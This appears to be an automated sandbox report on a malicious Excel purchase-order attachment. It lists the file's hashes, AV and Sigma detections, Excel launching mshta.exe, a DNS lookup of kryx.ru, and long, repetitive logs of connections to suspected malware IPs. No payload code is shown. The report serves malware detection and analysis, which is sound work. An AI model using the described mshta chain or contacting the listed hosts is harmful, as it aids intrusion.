Edit tour

Windows Analysis Report
PO#4500550389.xla.xlsx

Overview

General Information

Sample name:	PO#4500550389.xla.xlsx
Analysis ID:	1640393
MD5:	f871e42b797cf70e3ee4a79e21f02197
SHA1:	b03ebab29eab8c27f1a814494953147a9b90322f
SHA256:	ecc360802ade998b33380472d1b5ce4dc95e4039daf93123ba3885e2716dc012
Tags:	xlaxlsxuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Sigma detected: Suspicious Microsoft Office Child Process

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Suricata IDS alerts with low severity for network traffic

Unable to load, office file is protected or invalid

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 6784 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

mshta.exe (PID: 6032 cmdline: C:\Windows\SysWOW64\mshta.exe -Embedding MD5: 06B02D5C097C7DB1F109749C45F3F505)

splwow64.exe (PID: 6456 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

EXCEL.EXE (PID: 2376 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\PO#4500550389.xla.xlsx" MD5: 4A871771235598812032C822E6F68F19)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\SysWOW64\mshta.exe -Embedding, CommandLine: C:\Windows\SysWOW64\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\SysWOW64\mshta.exe, NewProcessName: C:\Windows\SysWOW64\mshta.exe, OriginalFileName: C:\Windows\SysWOW64\mshta.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 6784, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\SysWOW64\mshta.exe -Embedding, ProcessId: 6032, ProcessName: mshta.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 188.225.72.170, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6784, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49697

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.7, DestinationIsIpv6: false, DestinationPort: 49697, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 6784, Protocol: tcp, SourceIp: 188.225.72.170, SourceIsIpv6: false, SourcePort: 443

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T09:29:23.704196+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	13.107.246.60	443	TCP
2025-03-17T09:29:30.560221+0100	2028371	3	Unknown Traffic	192.168.2.7	49704	13.107.246.60	443	TCP
2025-03-17T09:29:30.560706+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	13.107.246.60	443	TCP

Joe Sandbox Signatures

• AV Detection
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: PO#4500550389.xla.xlsx	Virustotal: Detection: 33%			Perma Link
Source: PO#4500550389.xla.xlsx	ReversingLabs: Detection: 19%

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 188.225.72.170:443 -> 192.168.2.7:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49701 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\mshta.exe

Source: global traffic	DNS query: name: kryx.ru
Source: global traffic	DNS query: name: otelrules.svc.static.microsoft

Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49698 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443

Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 192.168.2.7:49697 -> 188.225.72.170:443
Source: global traffic	TCP traffic: 188.225.72.170:443 -> 192.168.2.7:49697
Source: global traffic	TCP traffic: 192.168.2.7:49698 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.7:49698
Source: global traffic	TCP traffic: 192.168.2.7:49698 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 192.168.2.7:49698 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.7:49698
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.7:49698
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.7:49698
Source: global traffic	TCP traffic: 192.168.2.7:49698 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.7:49698
Source: global traffic	TCP traffic: 192.168.2.7:49698 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
